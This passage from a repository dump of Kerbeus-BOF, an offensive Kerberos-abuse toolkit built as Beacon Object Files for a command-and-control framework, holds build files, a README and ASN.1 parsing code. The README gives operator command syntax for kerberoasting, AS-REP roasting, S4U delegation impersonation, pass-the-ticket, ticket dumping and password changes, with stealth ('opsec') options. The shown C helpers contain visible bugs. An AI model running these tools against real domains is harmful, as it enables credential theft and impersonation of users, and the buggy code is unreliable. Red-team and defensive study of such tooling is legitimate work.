ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:kerb_renew> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/Kerbeus-BOF/renew.x64.o\n    DEPENDS kerb_renew\n    COMMENT \"Copying renew object file\"\n)\n\nadd_custom_target(copy_kerb_changepw ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:kerb_changepw> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/Kerbeus-BOF/changepw.x64.o\n    DEPENDS kerb_changepw\n    COMMENT \"Copying changepw object file\"\n)\n\nadd_custom_target(copy_kerb_asreproasting ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:kerb_asreproasting> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/Kerbeus-BOF/asreproasting.x64.o\n    DEPENDS kerb_asreproasting\n    COMMENT \"Copying asreproasting object file\"\n)\n\nadd_custom_target(copy_kerb_kerberoasting ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:kerb_kerberoasting> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/Kerbeus-BOF/kerberoasting.x64.o\n    DEPENDS kerb_kerberoasting\n    COMMENT \"Copying kerberoasting object file\"\n)\n\nadd_custom_target(copy_kerb_s4u ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:kerb_s4u> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/Kerbeus-BOF/s4u.x64.o\n    DEPENDS kerb_s4u\n    COMMENT \"Copying s4u object file\"\n)\n\nadd_custom_target(copy_kerb_cross_s4u ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:kerb_cross_s4u> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/Kerbeus-BOF/cross_s4u.x64.o\n    DEPENDS kerb_cross_s4u\n    COMMENT \"Copying cross_s4u object file\"\n)\n"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/Makefile",
    "content": "CC64 = x86_64-w64-mingw32-gcc\nSTRIP64 = x86_64-w64-mingw32-strip --strip-unneeded\nCFLAGS = -I ./ -w -Wno-incompatible-pointer-types -Os -s -DBOF -c\n\nall: bof\n\nbof:\n\t@(mkdir -p _bin/Kerbeus-BOF 2>/dev/null) && echo 'creating _bin/Kerbeus-BOF' || echo '_bin/Kerbeus-BOF exists'\n\t@($(CC64) $(CFLAGS) hash/hash.c -o _bin/Kerbeus-BOF/hash.x64.o    && $(STRIP64) _bin/Kerbeus-BOF/hash.x64.o) && echo '[+] hash' || echo '[!] hash'\n\t@($(CC64) $(CFLAGS) klist/klist.c -o _bin/Kerbeus-BOF/klist.x64.o && $(STRIP64) _bin/Kerbeus-BOF/klist.x64.o) && echo '[+] klist' || echo '[!] klist'\n\t@($(CC64) $(CFLAGS) -DTRIAGE klist/klist.c -o _bin/Kerbeus-BOF/triage.x64.o && $(STRIP64) _bin/Kerbeus-BOF/triage.x64.o) && echo '[+] triage' || echo '[!] triage'\n\t@($(CC64) $(CFLAGS) -DDUMP klist/klist.c -o _bin/Kerbeus-BOF/dump.x64.o     && $(STRIP64) _bin/Kerbeus-BOF/dump.x64.o) && echo '[+] dump' || echo '[!] dump'\n\t@($(CC64) $(CFLAGS) describe/describe.c -o _bin/Kerbeus-BOF/describe.x64.o  && $(STRIP64) _bin/Kerbeus-BOF/describe.x64.o) && echo '[+] describe' || echo '[!] describe'\n\t@($(CC64) $(CFLAGS) tgtdeleg/tgtdeleg.c -o _bin/Kerbeus-BOF/tgtdeleg.x64.o  && $(STRIP64) _bin/Kerbeus-BOF/tgtdeleg.x64.o) && echo '[+] tgtdeleg' || echo '[!] tgtdeleg'\n\t@($(CC64) $(CFLAGS) ptt/ptt.c -o _bin/Kerbeus-BOF/ptt.x64.o                 && $(STRIP64) _bin/Kerbeus-BOF/ptt.x64.o) && echo '[+] ptt' || echo '[!] ptt'\n\t@($(CC64) $(CFLAGS) purge/purge.c -o _bin/Kerbeus-BOF/purge.x64.o           && $(STRIP64) _bin/Kerbeus-BOF/purge.x64.o) && echo '[+] purge' || echo '[!] purge'\n\t@($(CC64) $(CFLAGS) asktgt/asktgt.c -o _bin/Kerbeus-BOF/asktgt.x64.o        && $(STRIP64) _bin/Kerbeus-BOF/asktgt.x64.o) && echo '[+] asktgt' || echo '[!] asktgt'\n\t@($(CC64) $(CFLAGS) asktgs/asktgs.c -o _bin/Kerbeus-BOF/asktgs.x64.o        && $(STRIP64) _bin/Kerbeus-BOF/asktgs.x64.o) && echo '[+] asktgs' || echo '[!] asktgs'\n\t@($(CC64) $(CFLAGS) renew/renew.c -o _bin/Kerbeus-BOF/renew.x64.o           && $(STRIP64) _bin/Kerbeus-BOF/renew.x64.o) && echo '[+] renew' || echo '[!] renew'\n\t@($(CC64) $(CFLAGS) changepw/changepw.c -o _bin/Kerbeus-BOF/changepw.x64.o  && $(STRIP64) _bin/Kerbeus-BOF/changepw.x64.o) && echo '[+] changepw' || echo '[!] changepw'\n\t@($(CC64) $(CFLAGS) asreproasting/asreproasting.c -o _bin/Kerbeus-BOF/asreproasting.x64.o && $(STRIP64) _bin/Kerbeus-BOF/asreproasting.x64.o) && echo '[+] asreproasting' || echo '[!] asreproasting'\n\t@($(CC64) $(CFLAGS) kerberoasting/kerberoasting.c -o _bin/Kerbeus-BOF/kerberoasting.x64.o && $(STRIP64) _bin/Kerbeus-BOF/kerberoasting.x64.o) && echo '[+] kerberoasting' || echo '[!] kerberoasting'\n\t@($(CC64) $(CFLAGS) s4u/s4u.c -o _bin/Kerbeus-BOF/s4u.x64.o             && $(STRIP64) _bin/Kerbeus-BOF/s4u.x64.o) && echo '[+] s4u' || echo '[!] s4u'\n\t@($(CC64) $(CFLAGS) s4u/cross_s4u.c -o _bin/Kerbeus-BOF/cross_s4u.x64.o && $(STRIP64) _bin/Kerbeus-BOF/cross_s4u.x64.o) && echo '[+] cross_s4u' || echo '[!] cross_s4u'\n\nclean:\n\t@(rm -rf _bin)\n"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/README.md",
    "content": "# Kerbeus-BOF\n\n----\n\nBeacon Object Files for Kerberos abuse. This is an implementation of some important features of the [Rubeus](https://github.com/GhostPack/Rubeus) project, written in C. The project features integration with the [AdaptixC2](https://github.com/Adaptix-Framework/AdaptixC2).\n\n## Ticket requests and renewals\n\n### asktgt\n\nThe **asktgt** action will build raw AS-REQ (TGT request) traffic for the specified user and encryption key (`/rc4` or `/aes256`). A `/password` flag can also be used instead of a hash - in this case `/enctype:X` will default to RC4. If no `/domain` is specified, the computer's current domain is extracted, and if no `/dc` is specified the same is done for the system's current domain controller. If authentication is successful, the resulting AS-REP is parsed and the KRB-CRED (a .kirbi, which includes the user's TGT) is output as a base64 blob. The `/ptt` flag will \"pass-the-ticket\" and apply the resulting Kerberos credential to the current logon session. **Also, another opsec note:** only one TGT can be applied at a time to the current logon session, so the previous TGT is wiped when the new ticket is applied when using the `/ptt` option.\n\nTo form AS-REQ's more inline with genuine requests, the `/opsec` flag can be used, this will send an initial AS-REQ without pre-authentication first, if this succeeds, the resulting AS-REP is decrypted and TGT return, otherwise an AS-REQ with pre-authentication is then sent.\n\nRequesting a TGT without a PAC can be done using the `/nopac` switch. The `/nopreauth` flag can be used to send an AS-REQ without pre-authentication.\n\n```\nkerbeus asktgt /user:USER /password:PASSWORD [/domain:DOMAIN] [/dc:DC] [/enctype:{rc4|aes256}] [/ptt] [/nopac] [/opsec]\nkerbeus asktgt /user:USER /aes256:HASH [/domain:DOMAIN] [/dc:DC] [/ptt] [/nopac] [/opsec]\nkerbeus asktgt /user:USER /rc4:HASH [/domain:DOMAIN] [/dc:DC] [/ptt] [/nopac]\nkerbeus asktgt /user:USER /nopreauth [/domain:DOMAIN] [/dc:DC] [/ptt]\n```\n\n![](_img/02.png)\n\n\n\n### asktgs\n\nThe **asktgs** action will build/parse a raw TGS-REQ/TGS-REP service ticket request using the specified TGT `/ticket:X` supplied. This value **must** be a base64 encoding of a .kirbi file. If a `/dc` is not specified, the computer's current domain controller is extracted and used as the destination for the request traffic. The `/ptt` flag will \"pass-the-ticket\" and apply the resulting service ticket to the current logon session. One or more `/service:X` SPNs **must** be specified, comma separated.\n\nThe supported encryption types in the constructed TGS-REQ will be RC4_HMAC and AES256_CTS_HMAC_SHA1. In this case, the highest mutually supported encryption will be used by the KDC to build the returned service ticket. If you want to force RC4 or AES256 keys, use `/enctype:[rc4 or aes256]`.\n\nTo form TGS-REQ's more inline with genuine requests, the `/opsec` flag can be used, this will also cause an additional TGS-REQ to be sent automatically when a service ticket is requested for an account configured for unconstrained delegation.\n\nThe `/u2u` flag was implemented to request User-to-User tickets. Together with the `/tgs:X` argument (used to supply the target accounts TGT), the `/service:X` argument can be the username of the account the supplied TGT is for (with the `/tgs:X` argument). The `/targetuser:X` argument will request a PAC of any other account by inserting a PA-FOR-USER PA data section with the `target user's` username.\n\nThe `/keyList` flag was implemented for Kerberos [Key List Requests](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/732211ae-4891-40d3-b2b6-85ebd6f5ffff). These requests must utilise a forged partial TGT from a read-only domain controller in the `/ticket:BASE64` parameter. Furthermore, the `/spn:x` field must be set to the KRBTGT SPN within the domain, eg. `KRBTBT/domain.local`.\n\n```\nkerbeus asktgs /ticket:BASE64 /service:SPN1,SPN2,... [/domain:DOMAIN] [/dc:DC] [/tgs:BASE64] [/targetdomain:DOMAIN] [/targetuser:USER] [/enctype:{rc4|aes256}] [/ptt] [/keylist] [/u2u] [/opsec]\n```\n\n![](_img/03.png)\n\n\n\n### renew\n\nThe **renew** action will build/parse a raw TGS-REQ/TGS-REP TGT renewal exchange using the specified `/ticket:X` supplied. This value must be a base64 encoding of a .kirbi file. If a `/dc` is not specified, the computer's current domain controller is extracted and used as the destination for the renewal traffic. The `/ptt` flag will \"pass-the-ticket\" and apply the resulting Kerberos credential to the current logon session.\n\n```\nkerbeus renew /ticket:BASE64 [/dc:DC] [/ptt]\n```\n\n\n\n## Constrained delegation abuse\n\nIf a user (or computer) account is configured for constrained delegation (i.e. has a SPN value in its msds-allowedtodelegateto field) this action can be used to abuse access to the target SPN/server. \n\nA **TL;DR** explanation is that an account with constrained delegation enabled is allowed to request tickets _to itself_ as any user, in a process known as S4U2self. In order for an account to be allowed to do this, it has to have **TrustedToAuthForDelegation** enabled in it's useraccountcontrol property, something that only elevated users can modify by default. This ticket has the **FORWARDABLE** flag set by default. The service can then use this specially requested ticket to request a service ticket to any service principal name (SPN) specified in the account's **msds-allowedtodelegateto** field. So long story short, if you have control of an account with **TrustedToAuthForDelegation** set and a value in **msds-allowedtodelegateto**, you can pretend to be any user in the domain to the SPNs set in the account's **msds-allowedtodelegateto** field.\n\nS4U2self ticket can then be used as a `/tgs:Y` parameter (base64 blob) to execute the S4U2proxy process. A valid **msds-allowedtodelegateto** value for the account must be supplied (`/service:X`).\n\nThe `/altservice` parameter allows us to substitute in any service name we want in the resulting KRB-CRED file. One or more alternate service names can be supplied, comma separated (`/altservice:cifs,HOST,...`).\n\nTo form the TGS-REQ's more inline with genuine requests, the `/opsec` flag can be used. \n\nIt is possible, in certain cirsumstances, to use an S4U2Self ticket to impersonate protected users in order to escalate privileges on the requesting system, as discussed [here](https://exploit.ph/revisiting-delegate-2-thyself.html). For this purpose, the `/self` flag and `/altservice:X` argument can be used to generate a usable service ticket.\n\nTo forge an S4U2Self referral, only the trust key is required. By using the `/targetdomain:X` argument with the `/self` flag and without the `/targetdc` argument, it will treat the ticket supplied with `/ticket:X` as an S4U2Self referral and only request the final S4U2Self service ticket. The `/altservice:X` can also be used to rewrite the sname in the resulting ticket.\n\n```\nkerbeus s4u /ticket:BASE64 /service:SPN {/impersonateuser:USER | /tgs:BASE64} [/domain:DOMAIN] [/dc:DC] [/altservice:SERVICE] [/ptt] [/nopac] [/opsec] [/self]\n\nkerbeus cross_s4u /ticket:BASE64 /service:SPN /targetdomain:DOMAIN /targetdc:DC {/impersonateuser:USER | /tgs:BASE64} [/domain:DOMAIN] [/dc:DC] [/altservice:SERVICE] [/nopac] [/self]\n```\n\n![](_img/04.png)\n\n\n\n## Ticket Management\n\n### ptt\n\nThe **ptt** action will submit a `/ticket:X` (TGT or service ticket) for the current logon session through the LsaCallAuthenticationPackage() API with a KERB_SUBMIT_TKT_REQUEST message, or (**if elevated**) to the logon session specified by `/luid:ea4..`. Like other `/ticket:X` parameters, the value can be a base64 encoding of a .kirbi file.\n\n```\nkerbeus ptt /ticket:BASE64 [/luid:LOGONID]\n```\n\n\n\n### purge\n\nThe **purge** action will purge all Kerberos tickets from the current logon session, or (if elevated) to the logon session specified by `/luid:0xA..`.\n\n```\nkerbeus purge [/luid:LOGONID]\n```\n\n\n\n### describe\n\nThe **describe** action takes a `/ticket:X` value (TGT or service ticket), parses it, and describes the values of the ticket. Like other `/ticket:X` parameters, the value can be a base64 encoding of a .kirbi file.\n\n```\nkerbeus describe /ticket:BASE64\n```\n\n\n\n### klist\n\nThe **klist** will list detailed information on the current user's logon session and Kerberos tickets, if not elevated. If run from an elevated context (**SYSTEM**), information on all logon sessions and associated Kerberos tickets is displayed. Logon and ticket information can be displayed for a specific LogonID with `/luid:3ea..` (if elevated).\n\n```\nkerbeus klist [/luid:LOGINID] [/user:USER] [/service:SERVICE] [/client:CLIENT]\n```\n\n![](_img/05.png)\n\n\n\n### dump\n\nThe **dump** action will extract current TGTs and service tickets if in an elevated context (**SYSTEM**). If not elevated, service tickets for the current user are extracted.\n\n```\nkerbeus dump [/luid:LOGINID] [/user:USER] [/service:SERVICE] [/client:CLIENT]\n```\n\n![](_img/06.png)\n\n\n\n### triage\n\nThe **triage** action will output a table of the current user's Kerberos tickets, if not elevated. If run from an elevated context (**SYSTEM**), a table describing all Kerberos tickets on the system is displayed.\n\n```\nkerbeus triage [/luid:LOGINID] [/user:USER] [/service:SERVICE] [/client:CLIENT]\n```\n\n![](_img/07.png)\n\n\n\n#### filters\n\nFor the `klist`, `triage` and `dump`, tickets can be filtered by `/luid`, `/service` and `/client`. **Need SYSTEM context**.\n\n\n\n### tgtdeleg\n\nThe **tgtdeleg** abuses the Kerberos GSS-API to retrieve a usable TGT for the current user without needing elevation on the host. AcquireCredentialsHandle() is used to get a handle to the current user's Kerberos security credentials, and InitializeSecurityContext() with the ISC_REQ_DELEGATE flag and a target SPN of CIFS/DC.domain.com to prepare a fake delegate context to send to the DC. This results in an AP-REQ in the GSS-API output that contains a kerbeus CRED in the authenticator checksum. The service ticket session key is extracted from the local Kerberos cache and is used to decrypt the kerbeus CRED in the authenticator, resulting in a usable TGT .kirbi.\n\nIf automatic target/domain extraction is failing, a known SPN of a service configured with unconstrained delegation can be specified with `/target:SPN`.\n\n```\nkerbeus tgtdeleg [/target:SPN]\n```\n\n![](_img/08.png)\n\n\n\n## Roasting\n\n### kerberoasting\n\nThe **kerberoasting** is used to request the appropriate service ticket. The `/ticket:X` argument specifies the domain user's TGT ticket. The `/spn:X` argument specifies the target SPN. The `/domain` and `/dc` arguments are optional and retrieve system defaults just like the other actions.\n\nThe `/nopreauth:USER` argument will attempt to send an AS-REQ with the service passed to `/spn:Y` to request service tickets.\n\n```\nkerbeus kerberoasting /spn:SPN [/nopreauth:USER] [/dc:DC] [/domain:DOMAIN]\nkerbeus kerberoasting /spn:SPN /ticket:BASE64 [/dc:DC]\n```\n\n![](_img/09.png)\n\n\n\n### asreproasting\n\nIf a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting. The `/user:X` argument specifies the target user. The `/domain` and `/dc` arguments are optional, pulling system defaults as other actions do.\n\n```\nkerbeus asreproasting /user:USER [/dc:DC] [/domain:DOMAIN]\n```\n\n![](_img/10.png)\n\n\n\n## Miscellaneous\n\n### hash\n\nThe **hash** action will take a `/password:X` and optional `/user:USER` and/or `/domain:DOMAIN`. It will generate the rc4_hmac (NTLM) representation of the password. If user and domain names are specified, the aes128_cts_hmac_sha1 and aes256_cts_hmac_sha1 hash forms are generated. The user and domain names are used as salts for the AES implementations.\n\n```\nkerbeus hash /password:PASSWORD [/user:USER] [/domain:DOMAIN]\n```\n\n![](_img/11.png)\n\n\n\n### changepw\n\nThe **changepw** action will take a user's TGT .kirbi blob and execute a MS kpasswd password change with the specified `/new:PASSWORD` value. If a `/dc` is not specified, the computer's current domain controller is extracted and used as the destination for the password reset traffic.\n\nThe `/targetuser` and `/targetdomain` arguments can be used to change the password of other users, given the user whose TGT it is has enough privileges.\n\n**Note that either a users TGT or a service ticket for kadmin/changepw can be used to change the password**\n\n```\nkerbeus changepw /ticket:BASE64 /new:PASSWORD [/dc:DC] [/targetuser:USER] [/targetdomain:DOMAIN]\n```\n\n## Credits\n* Rubeus - https://github.com/GhostPack/Rubeus\n* CS-Situational-Awareness-BOF - https://github.com/trustedsec/CS-Situational-Awareness-BOF\n* nanorobeus - https://github.com/wavvs/nanorobeus\n"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/_include/asn_convert.c",
    "content": "#pragma once\n#include \"functions.c\"\n\nint AsnToBytesEncode5(AsnElt* a, int start, int end, byte* dst, int dstOff);\n\nint ValueLength(AsnElt* a);\n\nint TagLength(int tagValue) {\n    if (tagValue < 0x1F) return 1;\n    int k = 0;\n    for (int v = tagValue; v > 0; v >>= 7, k += 7);\n    return (k / 7) + 1;\n}\n\nint LengthLength(int vlen) {\n    if (vlen < 0x80) return 1;\n    int k = 0;\n    for (int v = vlen; v > 0; v >>= 8, k += 8);\n    return (k / 8) + 1;\n}\n\nint EncodedLength(AsnElt* a) {\n    if (a->objLen < 0) {\n        int vlen = ValueLength(a);\n        a->objLen = TagLength(a->tagValue) + LengthLength(vlen) + vlen;\n    }\n    return a->objLen;\n}\n\nint ValueLength(AsnElt* a) {\n    if (a->valLen < 0) {\n        if (a->sub != NULL) {\n            int vlen = 0;\n            for (int i = 0; i < a->subCount; i++) {\n                if (&(a->sub[i]))\n                    vlen += EncodedLength(&(a->sub[i]));\n            }\n            a->valLen = vlen;\n        }\n        else {\n            a->valLen = a->objLen;\n        }\n    }\n    return a->valLen;\n}\n\nint EncodeValue(AsnElt* a, int start, int end, byte* dst, int dstOff) {\n    if (!a)\n        return 0;\n\n    int orig = dstOff;\n    if (a->objBuf == NULL) {\n        int k = 0;\n        for (int i = 0; i < a->subCount; i++) {\n            int slen = EncodedLength(&(a->sub[i]));\n            dstOff += AsnToBytesEncode5(&(a->sub[i]), start - k, end - k, dst, dstOff);\n            k += slen;\n        }\n    }\n    else {\n        int from = (start > 0) ? start : 0;\n        int to = (end > a->valLen) ? a->valLen : end;\n        int len = to - from;\n        if (len > 0) {\n            MemCpy(dst + dstOff, a->objBuf + (a->valOff + from), len);\n            dstOff += len;\n        }\n    }\n    return dstOff - orig;\n}\n\nint AsnToBytesEncode5(AsnElt* a, int start, int end, byte* dst, int dstOff) {\n    if (a->hasEncodedHeader) {\n        int from = a->objOff + ((start > 0) ? start : 0);\n        int to = a->objOff + ((end > a->objLen) ? a->objLen : end);\n        int len = to - from;\n        if (len > 0) {\n            MemCpy(&dst[dstOff], &a->objBuf[from], len);\n            return len;\n        }\n        else {\n            return 0;\n        }\n    }\n\n    int off = 0;\n\n    int fb = (a->tagClass << 6) + ((a->sub != NULL) ? 0x20 : 0x00);\n    if (a->tagValue < 0x1F) {\n        fb |= (a->tagValue & 0x1F);\n        if (start <= off && off < end)\n            dst[dstOff++] = (byte)fb;\n        off++;\n    }\n    else {\n        fb |= 0x1F;\n        if (start <= off && off < end)\n            dst[dstOff++] = (byte)fb;\n\n        off++;\n        int k = 0;\n        for (int v = a->tagValue; v > 0; v >>= 7, k += 7);\n        while (k > 0) {\n            k -= 7;\n            int v = (a->tagValue >> k) & 0x7F;\n            if (k != 0)\n                v |= 0x80;\n            if (start <= off && off < end)\n                dst[dstOff++] = (byte)v;\n            off++;\n        }\n    }\n\n    int vlen = ValueLength(a);\n    if (vlen < 0x80) {\n        if (start <= off && off < end)\n            dst[dstOff++] = (byte)vlen;\n        off++;\n    }\n    else {\n        int k = 0;\n        for (int v = vlen; v > 0; v >>= 8, k += 8);\n        if (start <= off && off < end)\n            dst[dstOff++] = (byte)(0x80 + (k >> 3));\n        off++;\n        while (k > 0) {\n            k -= 8;\n            if (start <= off && off < end)\n                dst[dstOff++] = (byte)(vlen >> k);\n            off++;\n        }\n    }\n\n    EncodeValue(a, start - off, end - off, dst, dstOff);\n    off += vlen;\n\n    return (off > 0) ? off : 0;\n}\n\nint AsnToBytesEncode3(AsnElt* a, byte* dst, int dstOff) {\n    return AsnToBytesEncode5(a, 0, INT_MAX, dst, dstOff);\n}\n\nbool AsnToBytesEncode(AsnElt* a, int* size, byte** ret) {\n    *ret = MemAlloc(EncodedLength(a));\n    if (!*ret) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return true;\n    }\n    *size = AsnToBytesEncode3(a, *ret, 0);\n    return false;\n}\n"
  },
  {
    "path": "AD-BOF/Kerbeus-BOF/_include/asn_decode.c",
    "content": "#include \"asn_convert.c\"\n\nbool BytesToAsnDecode9(byte* buf, int off, int maxLen, int* tc, int* tv, bool* cons, int* valOff, int* valLen, int* ret);\n\n\nbool CheckOff(int off, int lim) {\n    if (off >= lim)\n        return true;\n    return false;\n}\n\nint Dec2(byte* s, int off, bool* good) {\n    if (off < 0 || off >= (my_strlen(s) - 1)) {\n        *good = FALSE;\n        return -1;\n    }\n    char c1 = s[off];\n    char c2 = s[off + 1];\n    if (c1 < '0' || c1 > '9' || c2 < '0' || c2 > '9') {\n        *good = FALSE;\n        return -1;\n    }\n    return 10 * (c1 - '0') + (c2 - '0');\n}\n\nint IndexOf(byte* str, int len, byte c) {\n    int j = -1;\n    for (int i = 0; i < len; i++) {\n        if (str[i] == c) {\n            j = i;\n            break;\n        }\n    }\n    return j;\n}\n\nbool CheckTag(AsnElt* a, int tc, int tv) {\n    if (a->tagClass != tc || a->tagValue != tv)\n        return true;\n    return false;\n}\n\nbool ValueByte(AsnElt* a, int off, int* ret) {\n    if (off < 0) {\n        PRINT_OUT(\"invalid value offset: &d\\n\", off);\n        return true;\n    }\n    if (a->objBuf == NULL) {\n        int k = 0;\n        for (int i = 0; i < a->subCount; a++) {\n            int slen = EncodedLength(&(a->sub[i]));\n            if ((k + slen) > off) {\n                return ValueByte(a, off - k, ret);\n            }\n        }\n    }\n    else {\n        if (off < a->valLen) {\n            *ret = a->objBuf[a->valOff + off];\n            return false;\n        }\n    }\n    PRINT_OUT(\"invalid value offset {0} (length = {1})\");\n    return true;\n}\n\nint CopyValue3(AsnElt* a, byte* dst, int off) {\n    return EncodeValue(a, 0, INT_MAX, dst, off);\n}\n\n\n\nbool DecodeUTF8(byte* buf, int off, int len, byte** ret, int* ret_length) {\n    if (len >= 3 && buf[off] == 0xEF && buf[off + 1] == 0xBB && buf[off + 2] == 0xBF) {\n        off += 3;\n        len -= 3;\n    }\n    wchar_t* tc = MemAlloc(len * 2 + 1);\n    int tcOff;\n    for (int k = 0; k < 2; k++) {\n        tcOff = 0;\n        for (int i = 0; i < len; i++) {\n            int c = buf[off + i];\n            int e;\n            if (c < 0x80) {\n                e = 0;\n            }\n            else if (c < 0xC0) {\n            }\n            else if (c < 0xE0) {\n                c &= 0x1F;\n                e = 1;\n            }\n            else if (c < 0xF0) {\n                c &= 0x0F;\n                e = 2;\n            }\n            else if (c < 0xF8) {\n                c &= 0x07;\n                e = 3;\n            }\n            else {\n                return true;\n            }\n            while (e-- > 0) {\n                if (++i >= len) return true;\n\n                int d = buf[off + i];\n                if (d < 0x80 || d > 0xBF) {\n                    return true;\n                }\n                c = (c << 6) + (d & 0x3F);\n            }\n            if (c > 0x10FFFF) return true;\n\n            if (c > 0xFFFF) {\n                c -= 0x10000;\n                int hi = 0xD800 + (c >> 10);\n                int lo = 0xDC00 + (c & 0x3FF);\n                tc[tcOff] = (char)hi;\n                tc[tcOff + 1] = (char)lo;\n                tcOff += 2;\n            }\n            else {\n                tc[tcOff] = (wchar_t)c;\n                tcOff++;\n            }\n        }\n    }\n    tc[tcOff] = 0;\n    *ret_length = tcOff + 1;\n    *ret = tc;\n    return false;\n}\n\nbool DecodeMono(byte* buf, int off, int len, int type, byte** outBuf, int* outLen) {\n    if (my_copybuf(outBuf, buf + off, len + 1)) return true;\n    (*outBuf)[len] = 0;\n\n    *outLen = len;\n    return false;\n}\n\n\nbool DecodeNoCopyLength(byte* buf, int off, int len, int* ret) {\n    int tc, tv, valOff, valLen, objLen;\n    bool cons;\n    if (BytesToAsnDecode9(buf, off, len, &tc, &tv, &cons, &valOff, &valLen, &objLen))\n        return true;\n    if (cons) {\n        off = valOff;\n        int lim = valOff + valLen;\n        while (off < lim) {\n            int oLength = 0;\n            if (DecodeNoCopyLength(buf, off, lim - off, &oLength))\n                return true;\n            off += oLength;\n        }\n    }\n    *ret = objLen;\n    return false;\n}\n\nbool DecodeNoCopy(byte* buf, int off, int len, AsnElt* a) {\n    int tc, tv, valOff, valLen, objLen;\n    bool cons;\n    if (BytesToAsnDecode9(buf, off, len, &tc, &tv, &cons, &valOff, &valLen, &objLen))\n        return true;\n\n    a->tagClass = tc;\n    a->tagValue = tv;\n    a->objBuf = buf;\n    a->objBufSize = len;\n    a->objOff = off;\n    a->objLen = objLen;\n    a->valOff = valOff;\n    a->valLen = valLen;\n    a->hasEncodedHeader = true;\n\n    if (cons) {\n        off = valOff;\n        int lim = valOff + valLen;\n\n        int count = 0;\n\n        while (off < lim) {\n            int oLength = 0;\n            if (DecodeNoCopyLength(buf, off, lim - off, &oLength))\n                return true;\n            off += oLength;\n            count++;\n        }\n\n        off = valOff;\n        lim = valOff + valLen;\n        int index = 0;\n        AsnElt* subs = MemAlloc(sizeof(AsnElt) * count);\n        if (!subs) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return true;\n        }\n        while (off < lim && index <= count) {\n            AsnElt b = { 0 };\n            if (DecodeNoCopy(buf, off, lim - off, &b)) {\n                return true;\n            }\n            off += b.objLen;\n            subs[index] = b;\n            index++;\n        }\n        a->sub = subs;\n        a->subCount = count;\n    }\n    else {\n        a->sub = NULL;\n        a->subCount = 0;\n    }\n    return false;\n}\n\nbool BytesToAsnDecode9(byte* buf, int off, int maxLen, int* tc, int* tv, bool* cons, int* valOff, int* valLen, int* ret) {\n    bool status = false;\n\n    int lim = off + maxLen;\n    int orig = off;\n\n    if (CheckOff(off, lim)) return true;\n    *tv = buf[off++];\n    *cons = (*tv & 0x20) != 0;\n    *tc = *tv >> 6;\n    *tv &= 0x1F;\n    if (*tv == 0x1F) {\n        *tv = 0;\n        for (;;) {\n            if (CheckOff(off, lim)) return true;\n            int c = buf[off++];\n            if (*tv > 0xFFFFFF) {\n                PRINT_OUT(\"tag value overflow\\n\");\n                return true;\n            }\n            *tv = (*tv << 7) | (c & 0x7F);\n            if ((c & 0x80) == 0) {\n                break;\n            }\n        }\n    }\n\n    if (CheckOff(off, lim)) return true;\n    int vlen = buf[off++];\n    if (vlen == 0x80) {\n        vlen = -1;\n        if (!(*cons)) {\n            PRINT_OUT(\"indefinite length but not constructed\\n\");\n            return true;\n        }\n    }\n    else if (vlen > 0x80) {\n        int lenlen = vlen - 0x80;\n        if (CheckOff(off + lenlen - 1, lim)) return true;\n        vlen = 0;\n        while (lenlen-- > 0) {\n            if (vlen > 0x7FFFFF) {\n                PRINT_OUT(\"length overflow\\n\");\n                return true;\n            }\n            vlen = (vlen << 8) + buf[off++];\n        }\n    }\n\n    *valOff = off;\n    if (vlen < 0) {\n        for (;;) {\n            int tc2, tv2, valOff2, valLen2;\n            bool cons2;\n            int slen = 0;\n            if (BytesToAsnDecode9(buf, off, lim - off, &tc2, &tv2, &cons2, &valOff2, &valLen2, &slen))\n                return true;\n\n            if (tc2 == 0 && tv2 == 0) {\n                if (cons2 || valLen2 != 0) {\n                    PRINT_OUT(\"invalid null tag\\n\");\n                    return true;\n                }\n                *valLen = off - *valOff;\n                off += slen;\n                break;\n            }\n            else {\n                off += slen;\n            }\n        }\n    }\n    else {\n        if (vlen > (lim - off)) {\n            PRINT_OUT(\"value overflow\\n\");\n            return true;\n        }\n        off += vlen;\n        *valLen = off - *valOff;\n    }\n    *ret = off - orig;\n    return false;\n}\n\nbool BytesToAsnDecode4(byte* buf, int off, int len, bool exactLength, AsnElt* a) {\n    int tc, tv, valOff, valLen, objLen;\n    bool cons;\n    if (BytesToAsnDecode9(buf, off, len, &tc, &tv, &cons, &valOff, &valLen, &objLen)) return true;\n\n    if (exactLength && objLen != len) {\n        PRINT_OUT(\"trailing garbage\\n\");\n        return true;\n    }\n    byte* nbuf = 0;\n    if (my_copybuf(&nbuf, buf + off, objLen)) return true;\n    return DecodeNoCopy(nbuf, 0, objLen, a);\n}\n\nbool BytesToAsnDecode3(byte* buf, int len, bool exactLength, AsnElt* a) {\n    return BytesToAsnDecode4(buf, 0, len, exactLength, a);\n}\n\nbool BytesToAsnDecode(byte* buf, int len, AsnElt* a) {\n    return BytesToAsnDecode4(buf, 0, len, true, a);\n}\n\n\n\nbool AsnGetInteger(AsnElt* a, long* ret) {\n    if ( !a )\n        return 0;\n\n    if ( a->sub ) {\n//        PRINT_OUT(\"invalid INTEGER (constructed)\\n\");\n        return true;\n    }\n    int vlen = ValueLength(a);\n    if (vlen == 0) {\n//        PRINT_OUT(\"invalid INTEGER (length = 0)\\n\");\n        return true;\n    }\n    int v = 0;\n    if (ValueByte(a, 0, &v)) return true;\n\n    long long x;\n    if ((v & 0x80) != 0) {\n        x = -1;\n        for (int k = 0; k < vlen; k++) {\n            long long l = -1;\n            l = l << 55;\n            if (x < l) {\n//                